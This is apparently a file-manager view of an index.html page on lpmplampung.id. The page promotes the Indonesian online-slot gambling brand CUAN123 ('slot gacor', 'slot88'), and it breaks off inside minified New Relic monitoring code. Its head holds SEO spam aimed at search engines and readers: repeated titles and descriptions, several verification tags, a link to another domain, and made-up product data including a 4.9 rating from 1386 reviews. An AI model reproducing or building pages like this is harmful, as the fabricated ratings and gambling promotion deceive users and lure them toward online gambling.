Submit
Path:
~
/
home
/
ampckwxt
/
.trash
/
lpmplampung.id
/
File Content:
index.html
<!DOCTYPE html> <html lang="id" translate="no"> <head> <meta charset="UTF-8"> <meta name="viewport" content="initial-scale=1, minimum-scale=1, maximum-scale=5, user-scalable=yes, width=device-width"> <title>CUAN123: Rekomendasi Slot Gacor Provider Slot88 Link Akses Tanpa Gangguan</title> <meta name="description" content="CUAN123 adalah situs rekomendasi slot gacor dengan menyediakan provider slot88 menjadikan situs ini memiliki link akses tanpa gangguan jaringan terbaik."> <meta property="og:url" content="https://lpmplampung.id/"> <meta name="google-site-verification" content="MJgYm02VpQ7qUJWSO4gW5vX0Vwnh-fiqxhTcr5yFx5M" /> <link rel="canonical" href="https://lpmplampung.id/"> <link rel="amphtml" href="https://super7sukses.dev/cuan123super7/lpmplampung.id"> <meta name="google-site-verification" content="MJgYm02VpQ7qUJWSO4gW5vX0Vwnh-fiqxhTcr5yFx5M" /> <link rel="shortcut icon" href="https://cdn.robotaset.com/assets/tpl/464ed9370f/images/favicon.ico" sizes="any"> <meta name="google-site-verification" content="ClFf7W_ydYdGsK5cSlIrM1YM0sMGq7Pl4byu6__EEnQ" /> <meta name="page-type" content="productdetailpage-desktop" /> <meta name="title" content="CUAN123: Rekomendasi Slot Gacor Provider Slot88 Link Akses Tanpa Gangguan" /> <meta name="description" content="CUAN123 adalah situs rekomendasi slot gacor dengan menyediakan provider slot88 menjadikan situs ini memiliki link akses tanpa gangguan jaringan terbaik." /> <meta property="og:title" content="CUAN123: Rekomendasi Slot Gacor Provider Slot88 Link Akses Tanpa Gangguan" /> <meta property="og:description" content="CUAN123 adalah situs rekomendasi slot gacor dengan menyediakan provider slot88 menjadikan situs ini memiliki link akses tanpa gangguan jaringan terbaik." /> <meta property="og:site_name" content="CUAN123" /> <meta property="og:url" content="https://lpmplampung.id/" /> <meta property="og:image" content="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbAuOdofbeFuLl3YYYH7B7dC0ExrtokT_C0X5p8RozvmKs4QOz9zvydavsvBjA515KMmDOM5jFEQO1bf9twPsZ67jpwocDqNFnrKnmdb3rEcSuEwHqKBR1aDfHQnP8cj_VoqZ_0kyH_ojR4Y04LY0JXa4Cjr0yS9J_Wd8Ee3-W7QrGzh3R2SoL6lAB/s1080/CUAN123%20(1).webp" /> <meta property="og:image:width" content="1200" /> <meta property="og:image:height" content="500" /> <meta property="og:type" content="product" /> <meta property="product:price:amount" content="100000" /> <meta property="product:price:currency" content="Rp" /> <meta name="twitter:card" content="product" /> <meta name="twitter:site" content="@CUAN123" /> <meta name="twitter:creator" content="@CUAN123" /> <meta name="twitter:title" content="CUAN123: Rekomendasi Slot Gacor Provider Slot88 Link Akses Tanpa Gangguan" /> <meta name="twitter:description" content="CUAN123 adalah situs rekomendasi slot gacor dengan menyediakan provider slot88 menjadikan situs ini memiliki link akses tanpa gangguan jaringan terbaik." /> <meta name="twitter:image" content="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbAuOdofbeFuLl3YYYH7B7dC0ExrtokT_C0X5p8RozvmKs4QOz9zvydavsvBjA515KMmDOM5jFEQO1bf9twPsZ67jpwocDqNFnrKnmdb3rEcSuEwHqKBR1aDfHQnP8cj_VoqZ_0kyH_ojR4Y04LY0JXa4Cjr0yS9J_Wd8Ee3-W7QrGzh3R2SoL6lAB/s1080/CUAN123%20(1).webp" /> <meta name="twitter:label1" content="Harga" /> <meta name="twitter:data1" content="Rp50.000" /> <meta name="twitter:label2" content="Lokasi" /> <meta name="twitter:data2" content="" /> <meta name="branch:deeplink:$ios_deeplink_path" content="https://lpmplampung.id/" /> <meta name="branch:deeplink:$android_deeplink_path" content="https://lpmplampung.id/" /> <meta name="branch:deeplink:$desktop_url" content="https://lpmplampung.id/" /> <meta name="robots" content="index, follow" /> <meta itemprop="ratingValue" content="4.9" /> <meta content="5" itemprop="bestRating" /> <meta itemprop="worstRating" content="5" /> <meta itemprop="ratingCount" content="1386" /> <meta itemprop="reviewCount" content="1386" /> <meta name="mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-title" content="CUAN123: Rekomendasi Slot Gacor Provider Slot88 Link Akses Tanpa Gangguan"> <meta name="theme-color" content="#00AA5B"> <script type='text/javascript' nonce="TXznVweNzUj0yRULBC0PiA==">window.NREUM || (NREUM = {}); NREUM.info = { "agent": "", "beacon": "bam.nr-data.net", "errorBeacon": "bam.nr-data.net", "licenseKey": "NRJS-b937f112db7c979b969", "applicationID": "980062382", "applicationTime": 169.928461, "transactionName": "YgNUMEMEXxZWUEdeCltJdRFCEV4IGENBWAFABUIAVBFQDFtDUlAAGAJTF1oRXhU=", "queueTime": 0, "ttGuid": "a24a5a9e4c0514b0", "agentToken": null }; (window.NREUM || (NREUM = {})).init = { privacy: { cookies_enabled: true }, ajax: { deny_list: ["bam.nr-data.net"] }, distributed_tracing: { enabled: true } }; (window.NREUM || (NREUM = {})).loader_config = { agentID: "980062957", accountID: "3046033", trustKey: "2190262", xpid: "VwYDV1ZQCxAJXFFSAQMEXlY=", licenseKey: "NRJS-b937f112db7c979b969", applicationID: "980062382" };;/*! For license information please see nr-loader-spa-1.253.0.min.js.LICENSE.txt */ (() => { var e, t, r = { 234: (e, t, r) => { "use strict"; r.d(t, { P_: () => m, Mt: () => b, C5: () => s, DL: () => x, OP: () => N, lF: () => C, Yu: () => w, Dg: () => v, CX: () => c, GE: () => E, sU: () => O }); var n = r(8632), o = r(9567); const i = { beacon: n.ce.beacon, errorBeacon: n.ce.errorBeacon, licenseKey: void 0, applicationID: void 0, sa: void 0, queueTime: void 0, applicationTime: void 0, ttGuid: void 0, user: void 0, account: void 0, product: void 0, extra: void 0, jsAttributes: {}, userAttributes: void 0, atts: void 0, transactionName: void 0, tNamePlain: void 0 }, a = {}; function s(e) { if (!e) throw new Error("All info objects require an agent identifier!"); if (!a[e]) throw new Error("Info for ".concat(e, " was never set")); return a[e] } function c(e, t) { if (!e) throw new Error("All info objects require an agent identifier!"); a[e] = (0, o.D)(t, i); const r = (0, n.ek)(e); r && (r.info = a[e]) } const d = e => { if (!e || "string" != typeof e) return !1; try { document.createDocumentFragment().querySelector(e) } catch { return !1 } return !0 }; var u = r(7056), l = r(50); const f = "[data-nr-mask]", h = () => { const e = { mask_selector: "*", block_selector: "[data-nr-block]", mask_input_options: { color: !1, date: !1, "datetime-local": !1, email: !1, month: !1, number: !1, range: !1, search: !1, tel: !1, text: !1, time: !1, url: !1, week: !1, textarea: !1, select: !1, password: !0 } }; return { feature_flags: [], proxy: { assets: void 0, beacon: void 0 }, privacy: { cookies_enabled: !0 }, ajax: { deny_list: void 0, block_internal: !0, enabled: !0, harvestTimeSeconds: 10, autoStart: !0 }, distributed_tracing: { enabled: void 0, exclude_newrelic_header: void 0, cors_use_newrelic_header: void 0, cors_use_tracecontext_headers: void 0, allowed_origins: void 0 }, session: { domain: void 0, expiresMs: u.oD, inactiveMs: u.Hb }, ssl: void 0, obfuscate: void 0, jserrors: { enabled: !0, harvestTimeSeconds: 10, autoStart: !0 }, metrics: { enabled: !0, autoStart: !0 }, page_action: { enabled: !0, harvestTimeSeconds: 30, autoStart: !0 }, page_view_event: { enabled: !0, autoStart: !0 }, page_view_timing: { enabled: !0, harvestTimeSeconds: 30, long_task: !1, autoStart: !0 }, session_trace: { enabled: !0, harvestTimeSeconds: 10, autoStart: !0 }, harvest: { tooManyRequestsDelay: 60 }, session_replay: { autoStart: !0, enabled: !1, harvestTimeSeconds: 60, preload: !1, sampling_rate: 10, error_sampling_rate: 100, collect_fonts: !1, inline_images: !1, inline_stylesheet: !0, mask_all_inputs: !0, get mask_text_selector() { return e.mask_selector }, set mask_text_selector(t) { d(t) ? e.mask_selector = "".concat(t, ",").concat(f) : "" === t || null === t ? e.mask_selector = f : (0, l.Z)("An invalid session_replay.mask_selector was provided. '*' will be used.", t) }, get block_class() { return "nr-block" }, get ignore_class() { return "nr-ignore" }, get mask_text_class() { return "nr-mask" }, get block_selector() { return e.block_selector }, set block_selector(t) { d(t) ? e.block_selector += ",".concat(t) : "" !== t && (0, l.Z)("An invalid session_replay.block_selector was provided and will not be used", t) }, get mask_input_options() { return e.mask_input_options }, set mask_input_options(t) { t && "object" == typeof t ? e.mask_input_options = { ...t, password: !0 } : (0, l.Z)("An invalid session_replay.mask_input_option was provided and will not be used", t) } }, spa: { enabled: !0, harvestTimeSeconds: 10, autoStart: !0 }, soft_navigations: { enabled: !0, harvestTimeSeconds: 10, autoStart: !0 } } }, p = {}, g = "All configuration objects require an agent identifier!"; function m(e) { if (!e) throw new Error(g); if (!p[e]) throw new Error("Configuration for ".concat(e, " was never set")); return p[e] } function v(e, t) { if (!e) throw new Error(g); p[e] = (0, o.D)(t, h()); const r = (0, n.ek)(e); r && (r.init = p[e]) } function b(e, t) { if (!e) throw new Error(g); var r = m(e); if (r) { for (var n = t.split("."), o = 0; o < n.length - 1; o++)if ("object" != typeof (r = r[n[o]])) return; r = r[n[n.length - 1]] } return r } const y = { accountID: void 0, trustKey: void 0, agentID: void 0, licenseKey: void 0, applicationID: void 0, xpid: void 0 }, A = {}; function x(e) { if (!e) throw new Error("All loader-config objects require an agent identifier!"); if (!A[e]) throw new Error("LoaderConfig for ".concat(e, " was never set")); return A[e] } function E(e, t) { if (!e) throw new Error("All loader-config objects require an agent identifier!"); A[e] = (0, o.D)(t, y); const r = (0, n.ek)(e); r && (r.loader_config = A[e]) } const w = (0, n.mF)().o; var _ = r(385), S = r(6818); const T = { buildEnv: S.Re, customTransaction: void 0, disabled: !1, distMethod: S.gF, isolatedBacklog: !1, loaderType: void 0, maxBytes: 3e4, offset: Math.floor(_._A?.performance?.timeOrigin || _._A?.performance?.timing?.navigationStart || Date.now()), onerror: void 0, origin: "" + _._A.location, ptid: void 0, releaseIds: {}, session: void 0, xhrWrappable: "function" == typeof _._A.XMLHttpRequest?.prototype?.addEventListener, version: S.q4, denyList: void 0 }, R = {}; function N(e) { if (!e) throw new Error("All runtime objects require an agent identifier!"); if (!R[e]) throw new Error("Runtime for ".concat(e, " was never set")); return R[e] } function O(e, t) { if (!e) throw new Error("All runtime objects require an agent identifier!"); R[e] = (0, o.D)(t, T); const r = (0, n.ek)(e); r && (r.runtime = R[e]) } function C(e) { return function (e) { try { const t = s(e); return !!t.licenseKey && !!t.errorBeacon && !!t.applicationID } catch (e) { return !1 } }(e) } }, 9567: (e, t, r) => { "use strict"; r.d(t, { D: () => o }); var n = r(50); function o(e, t) { try { if (!e || "object" != typeof e) return (0, n.Z)("Setting a Configurable requires an object as input"); if (!t || "object" != typeof t) return (0, n.Z)("Setting a Configurable requires a model to set its initial properties"); const r = Object.create(Object.getPrototypeOf(t), Object.getOwnPropertyDescriptors(t)), i = 0 === Object.keys(r).length ? e : r; for (let a in i) if (void 0 !== e[a]) try { Array.isArray(e[a]) && Array.isArray(t[a]) ? r[a] = Array.from(new Set([...e[a], ...t[a]])) : "object" == typeof e[a] && "object" == typeof t[a] ? r[a] = o(e[a], t[a]) : r[a] = e[a] } catch (e) { (0, n.Z)("An error occurred while setting a property of a Configurable", e) } return r } catch (e) { (0, n.Z)("An error occured while setting a Configurable", e) } } }, 6818: (e, t, r) => { "use strict"; r.d(t, { Re: () => o, gF: () => i, lF: () => a, q4: () => n }); const n = "1.253.0", o = "PROD", i = "CDN", a = "2.0.0-alpha.11" }, 385: (e, t, r) => { "use strict"; r.d(t, { FN: () => c, IF: () => l, LW: () => a, Nk: () => h, Tt: () => d, _A: () => i, cv: () => p, iS: () => s, il: () => n, ux: () => u, v6: () => o, w1: () => f }); const n = "undefined" != typeof window && !!window.document, o = "undefined" != typeof WorkerGlobalScope && ("undefined" != typeof self && self instanceof WorkerGlobalScope && self.navigator instanceof WorkerNavigator || "undefined" != typeof globalThis && globalThis instanceof WorkerGlobalScope && globalThis.navigator instanceof WorkerNavigator), i = n ? window : "undefined" != typeof WorkerGlobalScope && ("undefined" != typeof self && self instanceof WorkerGlobalScope && self || "undefined" != typeof globalThis && globalThis instanceof WorkerGlobalScope && globalThis), a = "complete" === i?.document?.readyState, s = Boolean("hidden" === i?.document?.visibilityState), c = "" + i?.location, d = /iPad|iPhone|iPod/.test(i.navigator?.userAgent), u = d && "undefined" == typeof SharedWorker, l = (() => { const e = i.navigator?.userAgent?.match(/Firefox[/\s](\d+\.\d+)/); return Array.isArray(e) && e.length >= 2 ? +e[1] : 0 })(), f = Boolean(n && window.document.documentMode), h = !!i.navigator?.sendBeacon, p = Math.floor(i?.performance?.timeOrigin || i?.performance?.timing?.navigationStart || Date.now()) }, 9907: (e, t, r) => { "use strict"; r.d(t, { A: () => n }); class n { constructor(e) { this.contextId = e } } }, 4938: (e, t, r) => { "use strict"; r.d(t, { v: () => a }); var n = r(8632), o = r(3117), i = r(9907); class a { static contextId = "nr@context:".concat(o.a); static contextOriginalId = "nr@original:".concat(o.a); static contextWrappedId = "nr@wrapped:".concat(a.contextId); static getObservationContextByAgentIdentifier(e) { const t = (0, n.fP)(); return Object.keys(t?.initializedAgents || {}).indexOf(e) > -1 ? t.initializedAgents[e].observationContext : void 0 } #e = new WeakMap; getCreateContext(e) { return this.#e.has(e) || this.#e.set(e, new i.A), this.#e.get(e) } setContext(e, t) { return this.#e.set(e, t), this.#e.get(e) } } }, 1117: (e, t, r) => { "use strict"; r.d(t, { w: () => i }); var n = r(50); const o = { agentIdentifier: "", ee: void 0 }; class i { constructor(e) { try { if ("object" != typeof e) return (0, n.Z)("shared context requires an object as input"); this.sharedContext = {}, Object.assign(this.sharedContext, o), Object.entries(e).forEach((e => { let [t, r] = e; Object.keys(o).includes(t) && (this.sharedContext[t] = r) })) } catch (e) { (0, n.Z)("An error occured while setting SharedContext", e) } } } }, 8e3: (e, t, r) => { "use strict"; r.d(t, { L: () => u, R: () => c }); var n = r(2177), o = r(1284), i = r(4322), a = r(3325); const s = {}; function c(e, t) { const r = { staged: !1, priority: a.p[t] || 0 }; d(e), s[e].get(t) || s[e].set(t, r) } function d(e) { e && (s[e] || (s[e] = new Map)) } function u() { let e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : "", t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : "feature", r = arguments.length > 2 && void 0 !== arguments[2] && arguments[2]; if (d(e), !e || !s[e].get(t) || r) return c(t); s[e].get(t).staged = !0; const a = [...s[e]]; function c(t) { const r = e ? n.ee.get(e) : n.ee, a = i.X.handlers; if (r.backlog && a) { var s = r.backlog[t], c = a[t]; if (c) { for (var d = 0; s && d < s.length; ++d)l(s[d], c); (0, o.D)(c, (function (e, t) { (0, o.D)(t, (function (t, r) { r[0].on(e, r[1]) })) })) } delete a[t], r.backlog[t] = null, r.emit("drain-" + t, []) } } a.every((e => { let [t, r] = e; return r.staged })) && (a.sort(((e, t) => e[1].priority - t[1].priority)), a.forEach((t => { let [r] = t; s[e].delete(r), c(r) }))) } function l(e, t) { var r = e[1]; (0, o.D)(t[r], (function (t, r) { var n = e[0]; if (r[0] === n) { var o = r[1], i = e[3], a = e[2]; o.apply(i, a) } })) } }, 2177: (e, t, r) => { "use strict"; r.d(t, { ee: () => c }); var n = r(8632), o = r(2210), i = r(234), a = r(9907), s = r(4938); const c = function e(t, r) { var n = {}, d = {}, l = {}, f = !1; try { f = 16 === r.length && (0, i.OP)(r).isolatedBacklog } catch (e) { } var h = { on: g, addEventListener: g, removeEventListener: function (e, t) { var r = n[e]; if (!r) return; for (var o = 0; o < r.length; o++)r[o] === t && r.splice(o, 1) }, emit: function (e, r, n, o, i) { !1 !== i && (i = !0); if (c.aborted && !o) return; t && i && t.emit(e, r, n); for (var a = p(n), s = m(e), u = s.length, l = 0; l < u; l++)s[l].apply(a, r); var f = b()[d[e]]; f && f.push([h, e, r, a]); return a }, get: v, listeners: m, context: p, buffer: function (e, t) { const r = b(); if (t = t || "feature", h.aborted) return; Object.entries(e || {}).forEach((e => { let [n, o] = e; d[o] = t, t in r || (r[t] = []) })) }, abort: u, aborted: !1, isBuffering: function (e) { return !!b()[d[e]] }, debugId: r, backlog: f ? {} : t && "object" == typeof t.backlog ? t.backlog : {}, observationContextManager: null }; return h; function p(e) { return e && e instanceof a.A ? e : e ? (0, o.X)(e, s.v.contextId, (() => h.observationContextManager ? h.observationContextManager.getCreateContext(e) : new a.A(s.v.contextId))) : h.observationContextManager ? h.observationContextManager.getCreateContext({}) : new a.A(s.v.contextId) } function g(e, t) { n[e] = m(e).concat(t) } function m(e) { return n[e] || [] } function v(t) { const r = l[t] = l[t] || e(h, t); return !r.observationContextManager && h.observationContextManager && (r.observationContextManager = h.observationContextManager), r } function b() { return h.backlog } }(void 0, "globalEE"), d = (0, n.fP)(); function u() { c.aborted = !0, Object.keys(c.backlog).forEach((e => { delete c.backlog[e] })) } d.ee || (d.ee = c) }, 5546: (e, t, r) => { "use strict"; r.d(t, { E: () => n, p: () => o }); var n = r(2177).ee.get("handle"); function o(e, t, r, o, i) { i ? (i.buffer([e], o), i.emit(e, t, r)) : (n.buffer([e], o), n.emit(e, t, r)) } }, 4322: (e, t, r) => { "use strict"; r.d(t, { X: () => i }); var n = r(5546); i.on = a; var o = i.handlers = {}; function i(e, t, r, i) { a(i || n.E, o, e, t, r) } function a(e, t, r, o, i) { i || (i = "feature"), e || (e = n.E); var a = t[i] = t[i] || {}; (a[r] = a[r] || []).push([e, o]) } }, 3239: (e, t, r) => { "use strict"; r.d(t, { bP: () => s, iz: () => c, m$: () => a }); var n = r(385); let o = !1, i = !1; try { const e = { get passive() { return o = !0, !1 }, get signal() { return i = !0, !1 } }; n._A.addEventListener("test", null, e), n._A.removeEventListener("test", null, e) } catch (e) { } function a(e, t) { return o || i ? { capture: !!e, passive: o, signal: t } : !!e } function s(e, t) { let r = arguments.length > 2 && void 0 !== arguments[2] && arguments[2], n = arguments.length > 3 ? arguments[3] : void 0; window.addEventListener(e, t, a(r, n)) } function c(e, t) { let r = arguments.length > 2 && void 0 !== arguments[2] && arguments[2], n = arguments.length > 3 ? arguments[3] : void 0; document.addEventListener(e, t, a(r, n)) } }, 3117: (e, t, r) => { "use strict"; r.d(t, { a: () => n }); const n = (0, r(4402).Rl)() }, 4402: (e, t, r) => { "use strict"; r.d(t, { Ht: () => d, M: () => c, Rl: () => a, ky: () => s }); var n = r(385); const o = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx"; function i(e, t) { return e ? 15 & e[t] : 16 * Math.random() | 0 } function a() { const e = n._A?.crypto || n._A?.msCrypto; let t, r = 0; return e && e.getRandomValues && (t = e.getRandomValues(new Uint8Array(30))), o.split("").map((e => "x" === e ? i(t, r++).toString(16) : "y" === e ? (3 & i() | 8).toString(16) : e)).join("") } function s(e) { const t = n._A?.crypto || n._A?.msCrypto; let r, o = 0; t && t.getRandomValues && (r = t.getRandomValues(new Uint8Array(e))); const a = []; for (var s = 0; s < e; s++)a.push(i(r, o++).toString(16)); return a.join("") } function c() { return s(16) } function d() { return s(32) } }, 7056: (e, t, r) => { "use strict"; r.d(t, { Bq: () => n, Hb: () => a, IK: () => d, K4: () => o, oD: () => i, uT: () => c, wO: () => s }); const n = "NRBA", o = "SESSION", i = 144e5, a = 18e5, s = { PAUSE: "session-pause", RESET: "session-reset", RESUME: "session-resume", UPDATE: "session-update" }, c = { SAME_TAB: "same-tab", CROSS_TAB: "cross-tab" }, d = { OFF: 0, FULL: 1, ERROR: 2 } }, 7894: (e, t, r) => { "use strict"; function n() { return Math.floor(performance.now()) } r.d(t, { z: () => n }) }, 7243: (e, t, r) => { "use strict"; r.d(t, { e: () => o }); var n = r(385); function o(e) { if (0 === (e || "").indexOf("data:")) return { protocol: "data" }; try { const t = new URL(e, location.href), r = { port: t.port, hostname: t.hostname, pathname: t.pathname, search: t.search, protocol: t.protocol.slice(0, t.protocol.indexOf(":")), sameOrigin: t.protocol === n._A?.location?.protocol && t.host === n._A?.location?.host }; return r.port && "" !== r.port || ("http:" === t.protocol && (r.port = "80"), "https:" === t.protocol && (r.port = "443")), r.pathname && "" !== r.pathname ? r.pathname.startsWith("/") || (r.pathname = "/".concat(r.pathname)) : r.pathname = "/", r } catch (e) { return {} } } }, 50: (e, t, r) => { "use strict"; function n(e, t) { "function" == typeof console.warn && (console.warn("New Relic: ".concat(e)), t && console.warn(t)) } r.d(t, { Z: () => n }) }, 2825: (e, t, r) => { "use strict"; r.d(t, { N: () => u, T: () => l }); var n = r(2177), o = r(5546), i = r(3325), a = r(385); const s = "newrelic"; const c = { stn: [i.D.sessionTrace], err: [i.D.jserrors, i.D.metrics], ins: [i.D.pageAction], spa: [i.D.spa, i.D.softNav], sr: [i.D.sessionReplay, i.D.sessionTrace] }, d = new Set; function u(e, t) { const r = n.ee.get(t); e && "object" == typeof e && (d.has(t) || (Object.entries(e).forEach((e => { let [t, n] = e; c[t] ? c[t].forEach((e => { n ? (0, o.p)("feat-" + t, [], void 0, e, r) : (0, o.p)("block-" + t, [], void 0, e, r), (0, o.p)("rumresp-" + t, [Boolean(n)], void 0, e, r) })) : n && (0, o.p)("feat-" + t, [], void 0, void 0, r), l[t] = Boolean(n) })), Object.keys(c).forEach((e => { void 0 === l[e] && (c[e]?.forEach((t => (0, o.p)("rumresp-" + e, [!1], void 0, t, r))), l[e] = !1) })), d.add(t), function () { let e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; try { a._A.dispatchEvent(new CustomEvent(s, { detail: e })) } catch (e) { } }({ loaded: !0 }))) } const l = {} }, 2210: (e, t, r) => { "use strict"; r.d(t, { X: () => o }); var n = Object.prototype.hasOwnProperty; function o(e, t, r) { if (n.call(e, t)) return e[t]; var o = r(); if (Object.defineProperty && Object.keys) try { return Object.defineProperty(e, t, { value: o, writable: !0, enumerable: !1 }), o } catch (e) { } return e[t] = o, o } }, 7872: (e, t, r) => { "use strict"; function n(e) { var t = this; let r = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : 500, n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : {}; const o = n?.leading || !1; let i; return function () { for (var n = arguments.length, a = new Array(n), s = 0; s < n; s++)a[s] = arguments[s]; o && void 0 === i && (e.apply(t, a), i = setTimeout((() => { i = clearTimeout(i) }), r)), o || (clearTimeout(i), i = setTimeout((() => { e.apply(t, a) }), r)) } } function o(e) { var t = this; let r = !1; return function () { if (!r) { r = !0; for (var n = arguments.length, o = new Array(n), i = 0; i < n; i++)o[i] = arguments[i]; e.apply(t, o) } } } r.d(t, { D: () => n, Z: () => o }) }, 1284: (e, t, r) => { "use strict"; r.d(t, { D: () => n }); const n = (e, t) => Object.entries(e || {}).map((e => { let [r, n] = e; return t(r, n) })) }, 4351: (e, t, r) => { "use strict"; r.d(t, { P: () => i }); var n = r(2177); const o = () => { const e = new WeakSet; return (t, r) => { if ("object" == typeof r && null !== r) { if (e.has(r)) return; e.add(r) } return r } }; function i(e) { try { return JSON.stringify(e, o()) } catch (e) { try { n.ee.emit("internal-error", [e]) } catch (e) { } } } }, 3960: (e, t, r) => { "use strict"; r.d(t, { KB: () => a, b2: () => i }); var n = r(3239); function o() { return "undefined" == typeof document || "complete" === document.readyState } function i(e, t) { if (o()) return e(); (0, n.bP)("load", e, t) } function a(e) { if (o()) return e(); (0, n.iz)("DOMContentLoaded", e) } }, 8632: (e, t, r) => { "use strict"; r.d(t, { EZ: () => u, ce: () => i, ek: () => d, fP: () => a, gG: () => l, h5: () => c, mF: () => s }); var n = r(7894), o = r(385); const i = { beacon: "bam.nr-data.net", errorBeacon: "bam.nr-data.net" }; function a() { return o._A.NREUM || (o._A.NREUM = {}), void 0 === o._A.newrelic && (o._A.newrelic = o._A.NREUM), o._A.NREUM } function s() { let e = a(); return e.o || (e.o = { ST: o._A.setTimeout, SI: o._A.setImmediate, CT: o._A.clearTimeout, XHR: o._A.XMLHttpRequest, REQ: o._A.Request, EV: o._A.Event, PR: o._A.Promise, MO: o._A.MutationObserver, FETCH: o._A.fetch }), e } function c(e, t) { let r = a(); r.initializedAgents ??= {}, t.initializedAt = { ms: (0, n.z)(), date: new Date }, r.initializedAgents[e] = t } function d(e) { let t = a(); return t.initializedAgents?.[e] } function u(e, t) { a()[e] = t } function l() { return function () { let e = a(); const t = e.info || {}; e.info = { beacon: i.beacon, errorBeacon: i.errorBeacon, ...t } }(), function () { let e = a(); const t = e.init || {}; e.init = { ...t } }(), s(), function () { let e = a(); const t = e.loader_config || {}; e.loader_config = { ...t } }(), a() } }, 7956: (e, t, r) => { "use strict"; r.d(t, { N: () => o }); var n = r(3239); function o(e) { let t = arguments.length > 1 && void 0 !== arguments[1] && arguments[1], r = arguments.length > 2 ? arguments[2] : void 0, o = arguments.length > 3 ? arguments[3] : void 0; (0, n.iz)("visibilitychange", (function () { if (t) return void ("hidden" === document.visibilityState && e()); e(document.visibilityState) }), r, o) } }, 7806: (e, t, r) => { "use strict"; r.d(t, { em: () => m, u5: () => S, QU: () => N, _L: () => I, Gm: () => j, Lg: () => M, BV: () => V, Kf: () => K }); var n = r(2177), o = r(4938), i = Object.prototype.hasOwnProperty, a = !1; function s(e, t) { return e || (e = n.ee), r.inPlace = function (e, t, n, o, i) { n || (n = ""); const a = "-" === n.charAt(0); for (let s = 0; s < t.length; s++) { const c = t[s], u = e[c]; d(u) || (e[c] = r(u, a ? c + n : n, o, c, i)) } }, r.flag = o.v.contextOriginalId, r; function r(t, r, n, a, u) { return d(t) ? t : (r || (r = ""), nrWrapper[o.v.contextOriginalId] = t, function (e, t, r) { if (Object.defineProperty && Object.keys) try { return Object.keys(e).forEach((function (r) { Object.defineProperty(t, r, { get: function () { return e[r] }, set: function (t) { return e[r] = t, t } }) })), t } catch (e) { c([e], r) } for (var n in e) i.call(e, n) && (t[n] = e[n]) }(t, nrWrapper, e), nrWrapper); function nrWrapper() { var o, i, d, l; try { i = this, o = [...arguments], d = "function" == typeof n ? n(o, i) : n || {} } catch (t) { c([t, "", [o, i, a], d], e) } s(r + "start", [o, i, a], d, u); try { return l = t.apply(i, o) } catch (e) { throw s(r + "err", [o, i, e], d, u), e } finally { s(r + "end", [o, i, l], d, u) } } } function s(r, n, o, i) { if (!a || t) { var s = a; a = !0; try { e.emit(r, n, o, t, i) } catch (t) { c([t, r, n, o], e) } a = s } } } function c(e, t) { t || (t = n.ee); try { t.emit("internal-error", e) } catch (e) { } } function d(e) { return !(e && "function" == typeof e && e.apply && !e[o.v.contextOriginalId]) } var u = r(2210), l = r(385); const f = {}, h = l._A.XMLHttpRequest, p = "addEventListener", g = "removeEventListener"; function m(e) { var t = function (e) { return (e || n.ee).get("events") }(e); if (f[t.debugId]++) return t; f[t.debugId] = 1; var r = s(t, !0); function i(e) { r.inPlace(e, [p, g], "-", a) } function a(e, t) { return e[1] } return "getPrototypeOf" in Object && (l.il && v(document, i), v(l._A, i), v(h.prototype, i)), t.on(p + "-start", (function (e, t) { var n = e[1]; if (null !== n && ("function" == typeof n || "object" == typeof n)) { var i = (0, u.X)(n, o.v.contextWrappedId, (function () { var e = { object: function () { if ("function" != typeof n.handleEvent) return; return n.handleEvent.apply(n, arguments) }, function: n }[typeof n]; return e ? r(e, "fn-", null, e.name || "anonymous") : n })); this.wrapped = e[1] = i } })), t.on(g + "-start", (function (e) { e[1] = this.wrapped || e[1] })), t } function v(e, t) { let r = e; for (; "object" == typeof r && !Object.prototype.hasOwnProperty.call(r, p);)r = Object.getPrototypeOf(r); for (var n = arguments.length, o = new Array(n > 2 ? n - 2 : 0), i = 2; i < n; i++)o[i - 2] = arguments[i]; r && t(r, ...o) } var b = "fetch-", y = b + "body-", A = ["arrayBuffer", "blob", "json", "text", "formData"], x = l._A.Request, E = l._A.Response, w = "prototype"; const _ = {}; function S(e) { const t = function (e) { return (e || n.ee).get("fetch") }(e); if (!(x && E && l._A.fetch)) return t; if (_[t.debugId]++) return t; function r(e, r, n) { var i = e[r]; "function" == typeof i && (e[r] = function () { var e, r = [...arguments], a = {}; t.emit(n + "before-start", [r], a), a[o.v.contextId] && a[o.v.contextId].dt && (e = a[o.v.contextId].dt); var s = i.apply(this, r); return t.emit(n + "start", [r, e], s), s.then((function (e) { return t.emit(n + "end", [null, e], s), e }), (function (e) { throw t.emit(n + "end", [e], s), e })) }) } return _[t.debugId] = 1, A.forEach((e => { r(x[w], e, y), r(E[w], e, y) })), r(l._A, "fetch", b), t.on(b + "end", (function (e, r) { var n = this; if (r) { var o = r.headers.get("content-length"); null !== o && (n.rxSize = o), t.emit(b + "done", [null, r], n) } else t.emit(b + "done", [e], n) })), t } const T = {}, R = ["pushState", "replaceState"]; function N(e) { const t = function (e) { return (e || n.ee).get("history") }(e); return !l.il || T[t.debugId]++ || (T[t.debugId] = 1, s(t).inPlace(window.history, R, "-")), t } var O = r(3239); const C = {}, D = ["appendChild", "insertBefore", "replaceChild"]; function I(e) { const t = function (e) { return (e || n.ee).get("jsonp") }(e); if (!l.il || C[t.debugId]) return t; C[t.debugId] = !0; var r = s(t), o = /[?&](?:callback|cb)=([^&#]+)/, i = /(.*)\.([^.]+)/, a = /^(\w+)(\.|$)(.*)$/; function c(e, t) { if (!e) return t; const r = e.match(a), n = r[1]; return c(r[3], t[n]) } return r.inPlace(Node.prototype, D, "dom-"), t.on("dom-start", (function (e) { !function (e) { if (!e || "string" != typeof e.nodeName || "script" !== e.nodeName.toLowerCase()) return; if ("function" != typeof e.addEventListener) return; var n = (a = e.src, s = a.match(o), s ? s[1] : null); var a, s; if (!n) return; var d = function (e) { var t = e.match(i); if (t && t.length >= 3) return { key: t[2], parent: c(t[1], window) }; return { key: e, parent: window } }(n); if ("function" != typeof d.parent[d.key]) return; var u = {}; function l() { t.emit("jsonp-end", [], u), 